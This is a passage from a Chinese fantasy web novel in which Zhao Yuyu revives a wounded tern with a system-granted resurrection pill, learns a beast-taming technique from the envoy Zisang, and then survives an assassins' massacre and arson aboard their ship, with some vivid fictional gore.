远处似有鹤鸣,赵玉屿抬头仰望,就见一道黑白相间的红顶仙鹤盘旋在云端,似是瞧见了她,仙鹤长唳一声俯冲而下,在即将触碰船舷时又骤然高飞,卷起一阵长风,潇洒而去,唯从口中落下一枝粉色的不知名的小花,落在赵玉屿的手中。
已近冬日,天气甚凉,这一点娇嫩的粉意在无垠碧灰的海面上显得格外鲜亮,像是灰土地里升起的月亮。
浪漫又温情。
没想到小白这一只仙鹤居然这么懂女孩子的心思。
赵玉屿得了花,原本寡淡的面容霎时笑如繁花,高举起花枝朝小白晃了晃,在嘹亮的鹤唳声中笑着拎起裙摆跑回船舱,裙摆随着楼梯的弧度轻旋,像是绽放在拐角处的朵朵桃花。
“神使大人,您瞧!”
回到房间,赵玉屿迫不及待的向子桑炫耀花枝,却见房间里窗户竟然大敞开,窗台出有几滴血迹,海风灌入房中,吹散了满屋的熏香。
第33章
屋中不见子桑的身影,满屋的抽屉都被翻箱倒柜掀了个底朝天。
赵玉屿心下一紧,慢下脚步,随手拾起一个跌落在地的花瓶掂量在手中,缓缓撩开珠帘走入内室,果然屏风后影影绰绰坐着一道身影。
转过屏风,子桑正全神贯注的给一只小鸟绑棉纱。
见赵玉屿进来,子桑瞥了眼她手中的花瓶,手上绑纱布的动作不停,漫不经心道:“怎么,也想给我头上来一下?”
赵玉屿见他还记着之前自己暴打猴大的事情,哂笑着放下花瓶:“这不是以为屋里进贼人了吗,小女自然是要奋不顾身保护神使大人,谁曾想是神使大人在找药膏啊。”
她瞧了眼桌上的小鸟,灰背白腰,长嘴剪翼,是只幼年的乌燕鸥。
它的右腿受了伤,桌上旁边还放着一支沾满鲜血的短箭,看样子应当是渔民的吹箭。
大自然里弱肉强食,受伤的动物很少有能活下来的,更别说是这种小鸟了。
鲜血将绑的歪七扭八的纱布染透,小鸟的双眼半睁不睁,瞳孔涣散,浑圆的肚子微微起伏,看来只剩下一口气。
赵玉屿见子桑神情专注手下却没个轻重,忍不住轻声道:“神使大人,这样纱布是绑不住的。”
子桑手指一僵,没有说话,但却听话的放下了手中的活儿。
赵玉屿顺势坐下,从他手中接过纱布和剪刀,将染了血的纱布换下,用蜡烛烧了烧剪刀消毒,随后剪掉小鸟腿根的绒毛,露出一片血肉模糊的圆洞。
这血洞几乎贯穿了鸟儿的整个腿根,赵玉屿忍不住道:“怎么伤得这么重。”
她给幼鸟简单擦拭了下伤口,抹上些止血消炎的药膏后重新绑上干净的纱布,手指灵巧翻转间细细系好一个小
巧的蝴蝶结。
伤口虽然清理干净了,但血流得太多,情况并不太乐观。
若是有之前子桑炼制的丹药就好了,可子桑平日里懒散放纵惯了,猴大它们也都是精细娇养,根本用不上丹药,所以子桑对于炼丹这种费时费力的事情向来不在意,船上只有些寻常的药物。
再者鸟到底和人不一样,她也不敢随意乱用药。
清理好桌上的药袋和杂物,赵玉屿又将柜子抽屉重新收拾干净。地上满是零零散散的衣物瓶盒,可见寻药膏的人当时有多焦急。
赵玉屿忍不住回头望向子桑,从她的角度,可以看到子桑正歪头趴在桌面上,下巴压着小臂,一只手轻轻拨动乌燕鸥脑袋上的羽毛,全神贯注的注视着它的呼吸,高马尾随着歪头的动作垂到一边,瀑布般落在肩头,在洒入房间的日光下泛着莹润流动的光泽。
唇角忍不住弯起,赵玉屿将药膏放回抽屉,转身离开房间。
待她去厨房取了小米粥回来时,桌子旁已经没有了人影,她抬眼望去,子桑正静静站在窗边望着一望无际的大海。
赵玉屿将小米粥放在桌上笑道:“我去端了些稀米粥来,里面加了滋补的草药,鸟儿喝了应该能尽快恢复些力气。”
“不用了。”
淡漠平静的声音打断她,赵玉屿一怔,子桑转过头望向她,黑如点漆的双眼孤冷荒凉。他扯起一道淡到极致的微笑,仿佛透过她笔直地看穿了生命的尽头,浩浩的风牵引着长发吹向未来,未来只余死寂。
“它死了。”
赵玉屿怔怔地望向桌面的乌燕鸥,它安静地躺在原处,双眼轻阖,眼皮略翻漏出瞳孔涣散的眼球,圆鼓鼓的肚子瘪了下去,没有呼吸。紫黑色的桌面像是一座奢华棺材,四面无限延展,轰隆隆竖起成笼,将它密不透风囚禁在其中,不得往生。
生命有时就是这么脆弱,本就受了重伤又失血过多,活下来是奇迹,活不下来,才是常态。
可赵玉屿不知为何心中空荡荡的,她望着子桑荒漠的神色,哑了哑嗓子问道:“那,这鸟如何处置呢”
“丢了。”子桑望向窗外白烂的海浪漠然道,“它本就该死在那。”
“是”
赵玉屿放下盘子,小心翼翼地捧起鸟儿的尸体,许是刚死不久,手掌心还有些残温,不知是鲜血还是羽毛的温度。
软乎乎的一团窝在手心,没有丝毫起伏波动。
这是赵玉屿第一次真正的接触死亡。
以前她对于死亡的理解极其浅薄,无非是文字作品中或缱绻离别或壮烈的牺牲,是电视新闻上冰冷的一串数字,亦或是从子桑的口中听到的平淡描述,在这些流淌的生命的终点,她是以旁听者的身份路过,最多的相处也只是萍水相逢的一面之缘。
所以对于他们的死亡,她或许有些感触却也仅此而已。
可当看着静静躺在手掌心中的这只鸟,这一刻她忽然意识到,死亡的真正含义是失去。
一个柔弱的小小的生命,如沙漏般从指缝间流走,缓缓的,不可抵挡的流走,无论如何拼尽全力都无法抓住,哪怕献出自己的所有也无济于事,万般皆是徒劳。
生死的无力感随着沙漏的流逝深深镌刻在灵魂深处,令人敬畏死亡,进而狂热地恳求神明哪怕施舍一丝怜悯。
那神明本身呢?
赵玉屿转头望向窗边站着的少年。
他背对着自己,看不清神色,金色的阳光将他的轮廓蚀出一层淡金色的光晕。
从一出生就知道自己的死期,知道自己的时间将停留在旁人最好的年华,他过着注定短暂的人生,却要看着那些垂垂老矣却依旧狂热得向自己渴求长生的人贪婪无度的目光。
而后,在命运终将到来的那一日,曾今崇拜他、爱戴他的信徒,心满意足地看着他死去。
所有人都认为这是理所当然的结局,没有人在乎他的恐惧,没有人在乎他的人生,甚至人们有意无意的忘记了,他也只是个十几岁的少年。
赵玉屿转过头,望着手中小小的鸟儿,下定决心的走出了房门。
一出房门,见四下无人,赵玉屿便召唤系统取出还魂丹。
【警告宿主,还魂丹是特级奖励,只此一颗,一经利用或丢弃,无法重新绑定。】
“我知道我知道,我这不是省着用呢嘛。”
赵玉屿用指甲干净利落地在还魂丹上来回剐蹭,嘴里低声叨叨,“一只鸟这么小点儿的身子哪用得着一整颗,我刮点屑子就够它活的了,正好检验下你们这还魂丹产品质量合不合格,别再是框我的。”
系统:【】真是脑回路清奇的宿主。
刮下来一层丹屑,赵玉屿连忙小心翼翼捏开鸟嘴丢进去,又拿小长勺灌了些稀粥水进去,稍稍提溜起后颈,轻拍着鸟肚子帮它顺下去。
*
子桑望着窗外的大海,阳光在粼粼水纹上波动,灿烂得晃眼,海浪一下一下勇猛地拍打着船身,似乎想要跃入窗台,但只能在激起烁白的浪花后又无力褪去,咸腥的海风却肆无忌惮的飘入船舱内,凝成苦涩黏稠的胆汁一瞬间化在舌尖,吐不出也咽不下,只得梗着脖子过活,等待苦水麻痹整个舌头,就像是他的人生。
子桑有些茫然,他明明已经活得够久够潇洒,可为什么还是不甘心。
从心底涌现出的怒意像是被压制的火山,绝望而无助,挣扎着要冲破地表喷薄而出,泄愤似的燃烧每一寸土地,将世上一切拉入岩浆地狱焚毁殆尽。
他是神吗?
世人向他求长生,可笑的是他连一只鸟都救不了。
如果那只鸟注定要死在大海里,那为何要让它苦苦挣扎着落在窗前向他求救;如果他平日能炼制丹药携带在身,或许就能救下它;如果当初他能早一点发现端倪,或许或许一切都将不同。
子桑闭上眼睛,攥紧窗沿的双手青筋暴起,强迫自己不去想那阴惨弥黑中幽幽鬼魅般的漫天火光。
不,一切的一切,都只是那些高高在上的神祇对他们的愚弄。
以命运之名,以天道之义,如此决然的将他们抛弃,却又希望他们感恩戴德,以身饲养。
如此可笑,如此,残忍。
这个世界没有奇迹,从来有的,都只是命运的戏谑。
*
“神使大人,神使大人!”
欢愉雀跃的声音跳跃入耳中,子桑听到急错的脚步声、仓促的开门声,转身望去,猝不及防撞入一双波光潋滟的璀璨星眸。
“活了活了!神使大人您看,它活了!”
顺着少女惊喜的声音,子桑的目光落在她手中。
素白的手心里,一只灰背白腰的小鸟似乎有些懵懂,扭着头跌跌撞撞地想要站起,却最终因为体力不支瘫倒在手心里,身子一抽一抽间小脑袋四处乱扭观望。
它右腿处的绒毛被剪光,露出半截光秃秃的屁股,上面绑着的雪白纱布上鲜血已经凝成了暗红色。
子桑怔怔地望着,鸟儿似乎认出了他,朝他啁啾叫了一声。
他方才明明看到它没了气息,身子都僵了。
耳边传来少女喋喋不休的唠叨:“我方才也以为它死了,不死心又给它喂了点稀粥水,还是我那粥好啊,里面特意放了人参啊灵芝啊各种稀有草药,又给它一个劲的做心脏复苏,没想到硬是将它给救了回来!”
子桑轻轻伸出一根手指,那乌燕鸥便微微抬起头,朝他靠近,用脑袋蹭了蹭他的指腹。
温热柔软的触感带着劫后重生的喜悦和眷恋顺着指腹传遍全身,两条性命相触的那一刻,子桑心中一阵奇异的酥麻。
真的活过来了。
第34章
指尖感受到鸟儿蹭动的毛茸茸的脑袋,子桑心中升起一道酥酥苦苦的热流,他勾起嘴角,却有些困惑:“心脏复苏是什么?”
赵玉屿知晓他金尊玉贵不问世事,对于这些救人的招数不知
晓也正常,耐心的边比划边解释。
“就是人快死的时候一种救命的手段,按着心脏反复压啊压,若是溺水了,还得人工呼吸,就是嘴对嘴渡气。”
听到嘴对嘴渡气,子桑有些嫌弃:“那多脏,死了算了。”
赵玉屿见他口嫌体正直,忍着笑拍了拍胸脯道:“是是是,反正救人的事儿怎么也轮不到神使大人亲自动手,交给小的们就好啦。”
子桑轻哼一声,从赵玉屿手中小心翼翼地捧过幼鸟,凑到眼前低头想要看个清楚。
赵玉屿美滋滋又有些自得的双手背后,也弯腰凑近,笑眼弯弯地讨赏。
“神使大人,我这算不算是立了一功呀?”
“你胆子大了,敢跟我讨功了?”
子桑睨了她一眼,语气又恢复了往日的惫懒,将幼鸟送回她怀中,自个儿优哉游哉俯身弯着腰,指尖轻顺它的羽毛:“既然你救了它,那之后就由你来照顾它,若是照顾不好,赐你九天神游。”
赵玉屿:“”
怎么肥事,她明明做了件好事怎么又要压上小命了呢?
果然是万恶的封建上位者,满脑子的剥削思想。
可恶!
赵玉屿撇了撇嘴,抱着幼鸟瓮声瓮气应了一声:“知道了,知道了,神使大人金尊玉贵,伺候伤患这种事情自然是不能劳烦大人您亲自动手,小女这就带它去养伤。”
说罢扭身朝屋外走去。
少女的背影明显有些气恼,子桑悠然的声音飘在身后:“做得好,送你一份大礼。”
听着这话,原本颓丧的背影瞬间来了精神,赵玉屿欢呼一声,干劲十足的跑开:“多谢神使大人!”
银铃般的声音随着雀跃的脚步声一跳一跃的消散,赵玉屿一走,原本充斥着热闹喧嚣的房间顿时空空荡荡,阳光在云移间波荡着金光照射在屋中,像是在屋里镀了一层粼粼波动的水壳,角落里白底青釉的花瓶反射出银光,有些灼眼。
子桑轻然的目光望向花瓶中肆意绽放的那枝粉花,嘴角不经意间微微轻扬。
【滴,恭喜宿主,攻略对象好感度上升百分之八,当前好感度55%】
脑海中传来系统的电子提示音,赵玉屿眼前唰得一亮。
55%!
果然,子桑是个口嫌体正直的傲娇怪!
哎呦喂,感激她就直说嘛,还那么嘴硬做什么。
赵玉屿现在对子桑要送她的大礼十分好奇,抱着小燕鸥亲了一口。
“小燕鸥你可得好好休养,赶快好起来,我肯定将你伺候得白白胖胖~”
燕鸥似乎听懂了她的话,也哑着嗓子叫了一声。
养燕鸥倒不是什么难事。
它吃了回魂丹本就没了性命之忧,只是失血过多需要静养一段时间。
子桑虽说将燕鸥交给赵玉屿照料,但实际上赵玉屿寻常的工作就是侍奉子桑,便是睡觉也是睡在外屋的小榻上,所以乌燕鸥也一直放在五楼的房间里养着。
燕鸥吃鱼,大海上最不缺的就是鱼。
赵玉屿每日都会扛着渔捞网去捞鱼,将新鲜打捞上来的鱼细细处理,切成生鱼片喂给燕鸥。
有时候半日不见鱼群,正待她挠头抓耳时,便见水面碧波荡起,一圈一圈层层叠澜至天际,下一刻,鱼群扑腾扑腾急吼吼从海里飞出,鱼贯如虹,哗啦啦暴雨瀑布般摔在甲板上。
赵玉屿扛着捞网一通乱舞,不仅燕鸥饱食一顿,还能给众人加个餐。
闲来无事时,她便趴在桌子上瞧着小燕鸥梳羽毛吃鱼肉,等它腿伤好些会拎根逗鸟棒绑上炸得酥香娇脆的小鱼干逗它玩,帮助它进行腿部肌肉的恢复训练。
子桑有时候也会趴在桌子上歪头瞧一会儿,目光跟着棒子起起伏伏、晃悠来晃悠去,下意识伸手去抓小鱼干,见赵玉屿笑得花摇柳颤,恼羞成怒的将小鱼干塞进她嘴里,半晌不理她。
日子平淡无奇的一天天过去,但因为乌燕鸥的到来,海上的生活少了枯燥乏味,多了份喧嚣欢闹。
半月之后,乌燕鸥已经可以肆意的在船舱飞旋。它的腿伤已经大好,几个月肥油香鱼的喂养让它原本瘦弱的身体也结实了不少,比最初瞧着要大上许多。
放飞乌燕鸥的那天,它绕着船舷盘旋良久,久久未离,最终在子桑随风飘扬的笛声中嘹亮高鸣,振翅高飞。
灰白的身影挥动双翅渐渐缩小成一团,在远方初升的辉宏旭日中汇成一点,最终被晨光的一片橘红抹去,只留下高亢悠扬的一两句回音。
海风呼呼而过,翻飞在高扬的白帆中,飘卷在翩飞的衣摆里,缱绻于不经意交缠的长发间。
赵玉屿撩起略微凌乱的额发,望向子桑笑着搓了搓手,双手摊平,眼含星光:“嘿嘿,神使大人,您打算赏赐小女什么呀?”
子桑见她主动讨赏,眉梢微扬,旋即双手环胸转身朝船舱走去。
“???”
赵玉屿见他竟然假装没听到,小步追上前:“神使大人,神使大人,您不会说话不算数吧。”
她可是期待了好久,一步不差的跟在他身后碎碎念,企图让子桑想起他的承诺:“当初您说,只要我能照顾好小燕鸥就送我一份大礼。您瞧那小燕鸥被我养得肥光水滑,羽毛油亮,才半个月伤势就痊愈了,比先前还胖了一圈,不亏小女日夜照看,不敢有丝毫懈怠,而且那小燕鸥”
她话音未落,前面的身影利落旋身,修长的指尖精准抵在她的眉心。
一瞬间,如有滔滔江河灌入脑海,汹涌澎湃激起千层浪,灼热的巨流冲刷着山丘黄土,是骤然撕扯灵魂的剧痛,让人难以承受。
在赵玉屿痛苦哀嚎的同时,子桑已经果断收了手,似乎有些无奈。
“资质平平。”
“???”
赵玉屿捂着脑袋,内心破口大骂:“你丫的不给奖励就算了,伤了我还骂我。”
“我将驭兽术的心法传授于你,可惜你的资质一般,没法一下接受全部的心法,不过这半部心法也够你用的了。”
“啊?”
信息太多一下接收不过来,赵玉屿呆滞片刻,摸了摸额头,似乎还有些灼热。
她静下心来在脑海中探识,记忆里似乎的确多出了一些奇怪的印记。那些金色的刻在巨大冰柱上古老神秘的字迹,明明她从未见过,却可以轻松理解其中的奥秘,周身的筋脉像是隐隐有温润的热气涌流,汇聚在丹田。
这就是传说中的心法?
武侠小说里主角被世外高人指点一番后顿时突飞猛进,武艺超绝的绝世心法吗!
卧槽!
那,那她要是学会了,是不是回到现代也可以御兽驾鹤,到时候考个训兽师证,可以加学分的啊!
赵玉屿顿时眼射金光,闪得子桑都有些睁不开眼。
下一刻,赵玉屿已经饱含热泪:“神使大人,您对我真是太好了!”
她原本想冲上前抱一下子桑,但理智告诉她抱上去怕是就得被扔到海里喂鱼,她只得将满腔感激寄托于物,掏出子桑赠与她的玉骨笛“吧唧”亲了一口,宝贝似得紧紧蹭在脸边。
“我一定好好学,不给神使大人丢脸!”
争取什么驯兽师证啊、宠物训导师证啊全都考下,多拿几个学分。
子桑对她突如其来的兴奋与热情还有些不适应,不过想来毕竟是人人做梦都想得到的心法,激动也是人之常情。
传授了心法,子桑却并未教她如何吹笛子。
赵玉屿却有些迫不及待,待众人入眠后,自个便趁着夜深人静,偷偷摸摸跑到船舱外熬夜练习曲子。
她见子桑吹过几次笛子,瞧起来游刃有余,甚是简单,五指灵巧翻飞间曲调便从笛孔中飘然流出。
赵玉屿清了清嗓子,五爪乱飞
活动活动手指,旋即笔直而立,庄严肃穆又小心谨慎的吹响了一个音。
“噗——噗——嘶~~~”
嘶哑如老妪,细听是一种残忍。
然而便是这般赵玉屿都难以忍受的破锣嗓子,却惊得一只银鱼跳动,跃出水面,一头撞到船舷昏死在甲板上。
赵玉屿也不知道这条倒霉的银鱼是被她召唤的,还是纯粹被她的笛声吓得。
她又试探性的吹了几声,却发现又有几条鱼垂死挣扎一般跃出水面,旋即一头栽下。
赵玉屿惊喜不已,她冥冥中能感受到一股微乎其微的牵引,飘忽的连结着她和鱼群的心绪。
如此说来,曲子吹得如何其实并不重要,重要的是学会运转心法,随心而动,便能操纵万灵。
难怪有时候子桑不用笛子,也能驭鹤。
想到这一层,赵玉屿顿时自信,变着花样试验如何掌握驭兽术。
“嘶”
“呼~~”
“哔——哔哔哔——”
“噗——噗噗噗——”
一“曲”吹下来,曲调从笛孔中抖着骨头飘出,呜呜咽咽凄凄惨惨,像是破窗漏风吹得烛火颤颤巍巍,又像是深冬寒夜里小贩肩上的破锣扯着嗓子哭天抢地,或是老太太拄起拐杖抖抖索索叉着腿走路,时而又“刺啦刺啦”像是尖锐的猫爪挠过耳膜,赵玉屿自个听着都一身鸡皮疙瘩。
但!人贵在坚持!
她搓了搓微凉的手,深吸一口气再次吹起骨笛,被雷劈过的音调飘飘洒洒吹向大海。
第35章
翌日,赵玉屿顶着眼下青黛准备早膳,就见王厨肥润的大脸盘子上也顶着两个硕大的黑眼圈。
“王厨,你这眼是怎么了?”
王厨一边揉着面一边“嗐”了一声:“别提了,他奶奶的昨晚上见鬼了,总听到鬼哭狼嚎猫叫的,吵得人一夜没睡着。”
旁边的帮手也打了个哈欠,眼泪朦胧:“我也听到了,好像是有人在吹乐吧,也不知道是什么乐器,哔哔啦啦的,调都跑得没边了。”
路过的神侍连忙摆了摆手:“嘘,可不能乱说,咱们这不就神使大人有笛子吗。”
王厨不置可否:“不会吧,神使大人的笛声咱们是听过的,那真是天籁之音,岂是昨晚上的鬼调子能比的。”
神侍赶忙朝他使了个眼色:“不管怎么样都不能在背后乱议论,要是被神使大人知晓那就麻烦了。”
王厨会意,心中也是一惊,暗恼自己多嘴,连忙朝赵玉屿哈哈一笑,讨好道:“玉儿姑娘,咱是糙人,方才乱说的,您可千万别告诉神使大人啊。”
赵玉屿知晓他们的担忧,也自觉昨晚上对不住他们,扰了人家清梦,摆了摆手打哈哈,将锅甩给猴大:“没事没事,昨晚上是猴大玩闹吹笛子,我已经教训过它了,以后不会再半夜吹笛子了。”
猴大一向神出鬼没的,寻常人见不到它也只以为它一直在子桑屋里待着,不疑有他。
王厨竖起大拇指惊叹:“原来如此!不愧是神猴,居然连笛子都会吹!”
一群人顿时狂吹猴大彩虹屁,甚至连笛声都夸得犹如天籁之音,听得赵玉屿汗颜,赶紧哂笑着开溜。
到了晚上,赵玉屿不敢再扰人清梦,又不想放弃难得的独自练习的机会。
想起子桑不用凭借外物就能直接驭兽的能力而艳羡不已,索性尝试内在修行,感知体内自从被注入心法后不易察觉,却源源不断细水长流的那股微弱劲力。
她站在船舷上,尝试回忆起脑海中通天冰柱上镌刻的古怪图字,心中似乎浮现起飘忽又薄弱的渺渺之音,似九天玄歌,又如喃喃浅唱,随着声音潮水涌现,赵玉屿腹部微热,丹田热意如滚滚涟漪以她为中心荡漾开来,与水面泛起的波纹叠叠呼应。
这种感觉是赵玉屿从未体验过的玄妙,仿佛通天遁地,气轻神明又光怪陆离,耳动可闻天地音,心弦可连万物灵。
时间似是静默,赵玉屿屏气凝神半晌,睁开一只眼朝黑漆漆的水面望去,云翳的月光下,除了水纹还是水纹。
再来!
腹中一阵热意过后,睁眼一瞧,水波不惊。
再来!
水波不惊。
再来!
水波还是不惊。
再来!
水波依旧不惊。
一阵凉风袭过,此时无声胜有声。
试了大半夜,周遭除了她一个活物,就没再看见第二个动物,甚至连条小鱼苗都没见到。
赵玉屿沉默,叹了口气最终放弃,打算等上岸以后找个无人的地方再从吹笛练起吧。
果然,学习最忌讳的就是跨出步子扯着蛋。
不积跬步无以至千里,不积小流无以成江海。她不能一跃十步,但可以从基础练习,由形器入神无,日复一日年复一年,就算是匹瘸腿的骡子,也能一点一点爬过去。
现在,回去睡个饱觉先,明天还得继续伺候小祖宗呢。
安慰好自己,赵玉屿神清气爽,又重新拾起信心,昂首阔步朝船舱走去。
忽而云遮月移间,一道褐黄色的背影闪电般蹿过,她定眼望去,就见那褐黄色的身影攀窗走壁又一跃而起,身段肥硕而灵活的攀着桅杆犹如飞贼,甚是眼熟。
“猴大?”
赵玉屿惊讶。
猴大听到这声音,细长的手臂攀在桅杆上,朝她龇牙咧嘴做了个鬼脸,转瞬一跃入窗,消失在楼中。
赵玉屿连忙追上,顺着楼梯脚步飞旋,追赶着猴大在楼道间闪如黄电的身影,最后跟着它进了一件狭窄的杂货间。
进了房间正待撸起袖子奸笑着捉住它,却见猴大朝她伸出手指“嘘”了一声,圆润的黑白分明的眼睛望向她,指了指她背后的房门。
与此同时,门外传来脚步声,细弱而略显凌乱,像是快步爬过屋顶的耗子。
赵玉屿会意,转身透过门缝探去,果然瞧见几道鬼祟的身影在对面的楼道。
他们穿着土黄色的麻布衣衫,头发统一盘起,皆是古铜色皮肤的壮肌大块头,看模样像是船底的劳工,然而手中却都拎着各色工具,钩子、长绳、钉子、木板、斧头、锤子,各个都双脚潮湿,裤角全是水。
有一人的袖口被黯红濡湿,像是渗着血。
几人鬼鬼祟祟使了眼色,旋即朝一侧轻步快速前行,扭身进了一个房间。
赵玉屿想问猴大是否是发现什么不妥之处,结果一转身就见猴大已经顺着狭小的窗户攀出,不见了身影。
她们此时在船舱里,这窗户极窄,与其说是窗户,不如说是个通风孔,她自然是钻不过去的。
赵玉屿只得出了门,索性蹑手蹑脚悄然绕到对面的楼道,趴在房门处偷听。
然而等了半晌,却没听到任何声音。
不对啊,方才那一队至少有七八个壮汉,这么多人挤在一间屋子里,还带了一堆工具,怎么可能一点声音都没有。
她不敢贸然推开门,见地上还残留着一路的水印,便沿着水印一路往前走,拐过拐角顺着狭窄昏暗的楼梯下到最底层。
船舱底部一片昏暗,一丝一毫的灯光都没有,她顺着楼梯朝下走,忽然踩到一滩黏湿湿稠哒哒的东西。
她掏出火折子,吹亮的那一刻,昏暗的火光下映照一副人间炼狱。
土黄、鲜红糅杂在一起的色彩犹如重击瞬间冲撞入脑海,扑面而来一股浓厚的混合着鲜血和大海的咸腥味。
断臂残肢、白花花的脑浆和鲜血混在黑沉沉的海水里飘浮,像是深海中一座座漂浮不定的鲜血滋养的孤岛。
她脚下,一个只剩下半截身子的劳工趴在楼梯上,死前还在挣扎着向上爬。
直观血腥的画面令人作呕,赵玉屿忍着呕吐转身冲上楼梯,冲到船舱外呕吐,撞上正在巡逻的黑甲军。
“玉儿姑娘,您没事吧?”
这些日子的相处,黑甲军同赵玉屿已经很是熟悉,见她身体不适关切道。
“我没事。”
赵玉屿忍着恶心,抓住他面色苍白喊道,“有刺客,他们杀了船底的劳工,凿穿了船,快!要沉船了,快去保护神使大人,叫醒所有人!”
黑甲军意识到问题的严重性,顿时沉声道:“是!”
“咚咚咚咚————”
震天的锣鼓声瞬间响
彻整条巨船,一声惊起千层浪,灯火通明,人影晃乱,黑甲军沉顿的脚步声冲向一楼。
“碰——”
撞开房门,狭小的屋子里空无一人,唯有海风肆虐。
刘副将走到屋内,伸出头顺着海风大敞的窗口探头往外瞧,屋外的墙壁摇摇晃晃垂下一根绳索,在海浪呼啸的幽黑深夜里有一种异样的诡谲,像是通往地府的幽幽冥路,摇摇挂在楼顶的一串昏黄灯笼就是阴间的月亮,黄泉路上的长明灯。
五楼,绳索直通五楼。
他们的目标是子桑。
“报!将军,二楼南房发现可疑行迹!房内人员被杀,刺客顺绳索攀至顶楼。”
刘副将猛然转身而出,满脸肃杀之气,果决勒令:“保护神使,全力逮捕可疑人员,如果反抗就地斩杀!”
“是!”
快一点,再快一点
赵玉屿呼吸急促,拼力冲向五楼,心中不断宽慰自己,既然猴大已经提前发现了端倪,那它肯定会提醒子桑,五楼也有黑甲军值守,以子桑的能力不会有事的。
可鼻尖还充斥着强烈血腥味,脑海中闪现出断臂残肢、脑浆四溅、尸海飘浮的场景,她捂住嘴强忍着呕吐冲向顶楼。
不知是不是跑得太快,她感到呼吸逐渐急促、鼻干舌燥,溢萦着血腥味的鼻尖隐隐闻到焦枯的气味,忍不住咳嗽起来。
扶着楼梯继续向上,忽而额头一凉,冷得她打个激灵。抬头向上望去,一只布满血丝的浑浊的眼睛透过楼道的缝隙死死盯着她,吓得赵玉屿腿一软,差点从楼梯上滚下去。
她强忍着恐惧,抖着腿扶墙爬上楼,五楼的墙面上溅了半面血,让人想到屠宰场血迹斑斑的墙。
黑甲军的尸体趴在楼梯扶手上,后背已经被砍烂了,盔甲碎了满地,血肉模糊,滚烫的鲜血顺着地板流淌汇聚成血河,鲜红的血河亮如明镜,倒映出浓烟滚滚的红光。
“咳咳咳”
浓烟呛得人呼吸困难,赵玉屿捂住口鼻,跨过一路的尸体冲向楼顶,却发现所有的门窗都被钉死,根本打不开。
“神使大人,咳咳你在里面吗?!”
赵玉屿拍门大喊,门内却没有丝毫回应。
黑烟或者火光从门缝中钻出,浓雾如黑蛇般丝丝缕缕的缠绕住喉咙,以挣脱不掉的扼喉之势袭来,很快就会让人窒息。把手上的铜环灼热如烙铁,此时奢华的顶间已经成了被密封的棺材,整座巨船就是一座巨大的焚化炉。
赵玉屿见推不开门,捡起地上长刀朝铜环砍去,每砍一刀,她都觉得胸口灼痛,呼吸困难。
急匆匆的脚步于烈火中传来,她扭头望去,半身浴血的劳公面如青牛,青筋暴起的粗糙大手紧握长刀,其上鲜血淋漓,甚至挂着一丝血肉,快步朝赵玉屿走来。
第36章
常年沾染血腥人命的杀手,目光阴翳如秃鹫,浑身肃杀煞气只看着就让人新生寒意。
同平日里和猴大它们的小打小闹并不相同,赵玉屿知道,他是真的会干净利落解决自己。
她虽然平日里虎些,但在这种杀人不眨眼的恶徒面前是没有丝毫胜算的。
自知不敌,赵玉屿握着刀柄连连后退,抖着声音道。
“这,这位大哥,我打不过你,看今日这架势,想来大哥您也是抱了必死的决心。既然咱们都必死无疑,至少让我死个明白,黄泉路上咱也能做个伴不是?”
那杀手显然没想到这小妮子如此识趣,愣了一下。
赵玉屿缓缓向后退去,同他拉开距离,边退边问:“这位大哥,你们伪装成劳工躲在船底这么多天,又忌惮黑甲军,所以才会想到趁半夜众人懈怠时动手,放火凿船,将神使钉在房间里是为了防止他驭鹤而逃是吗?你们究竟是什么人?为何要杀神使大人?如此手段谨慎又狠辣,布局缜密,和之前那几波刺客不是一伙的吧?还是说,之前那几波只是假象,放火烧船才是你们的真实目的?”
“你很聪明,不过你的问题未免有些太多了。”
杀手冷笑一声,将长刀压在手臂上揩了揩,刮掉上面的淋漓血肉,一步一步朝她靠近,目光阴桀森冷道:“看在你是个女人的份上,我给你一个痛快。能助太子殿下荣登大宝你也不算冤死,来日投胎,莫要再与邪魔妖道为伍!”
说罢,他不再作一声,快步跑上前,抡起长刀朝赵玉屿狠狠砍来。
这一刀凌厉狠辣,若被劈中必死无疑,即便知道自己有还魂丹,但求生的本能让赵玉屿猛然抱头蹲下身子。
长刀从她的头顶削过,砍在墙上木柱,刀痕入柱三寸,拔出的瞬间木墙都抖了抖。
赵玉屿在他拔刀的那刻,连滚带爬朝走廊里面跑去,想要一气呵成跳窗逃生。那杀手见状,登时快步追上她,再次挥刀砍来。
成年男子的体力和速度非她所能及,眼见躲不过这一刀,赵玉屿心里一紧,认命的打算挨上一刀用还魂丹续命,千钧一发之际,船只忽然向一侧猛然倾斜,巨大的惯性将两人掼倒重重撞上墙壁,已经被烧成焦炭的屋墙轰然倒塌,哗啷啷砸在两人身上。
原本被囚禁在房中的火焰顿时犹如冲破桎梏的野兽,汹涌火浪吞天食地咆哮而来,将两人重重包围住。
疼
好疼……
腰背撞到柱子上,又砸了满身的木窗疼得厉害,赵玉屿忍不住倒吸一口凉气,跌跌撞撞爬起身,慌忙抖落满身滚烫的碎木。
“啊————”
惨叫声哀嚎在身后响起,她回头一瞧就见方才的杀手全身上下被烈火包裹住,整个人此时像是一个火球在地上翻滚不止。
赵玉屿见自己身上也沾染了火苗,慌乱想要扑灭身上的火,却惊讶的发现并未感到丝毫灼烧疼痛之意。火苗燃烧却只将她的头发舔舐些许,她的身上没有任何被烈火燃烧的痕迹,甚至衣服更加洁净,像是被水洗过一般焕然一新。
她怔怔地望着自己身上的奇观,眼看一旁已经被烧得半焦,面目全非更显狰狞的刺客,双眼充血,目眦欲裂,却依旧直勾勾凶恶的望着她,如同地狱里爬出的诏炎恶鬼,挣扎得扭着烧焦的残躯向她爬来。
赵玉屿连忙躲闪,被他一步步逼到长廊角落,火燎狰狞的鬼爪猛然抓住她的脚踝,势必要将她一起拉入火海。
好在杀手如今已经失了大半力气,赵玉屿才没被拽倒在地。
身后已无路可退,见这人都快变成鬼了还不放过自己,赵玉屿心中暗骂一声,果断捡起地上沾血的长刀,心一横猛然朝他的脑袋劈去。
手起刀落,锃亮的寒光在火焰中一闪而过,“啪嗒”一声脑袋滚落在地,像是被烧焦的散发着恶臭的皮球。
“见鬼去吧,你大爷的!”
赵玉屿狠狠咒骂了一句,一脚将皮球踢到一边,跃过他的断头尸体跑进房间。
房间已经被熊熊大火侵吞,四周黑烟熏雾,一片灼红,热浪滚滚势如巨兽,将天地万物包围吞噬。
“神使大人,神使大人你在哪?咳咳”
赵玉屿眼睛被熏得生疼,捂着口鼻找遍了房间都没找到熟悉的身影,确信子桑应当是逃脱了。
“砰——”
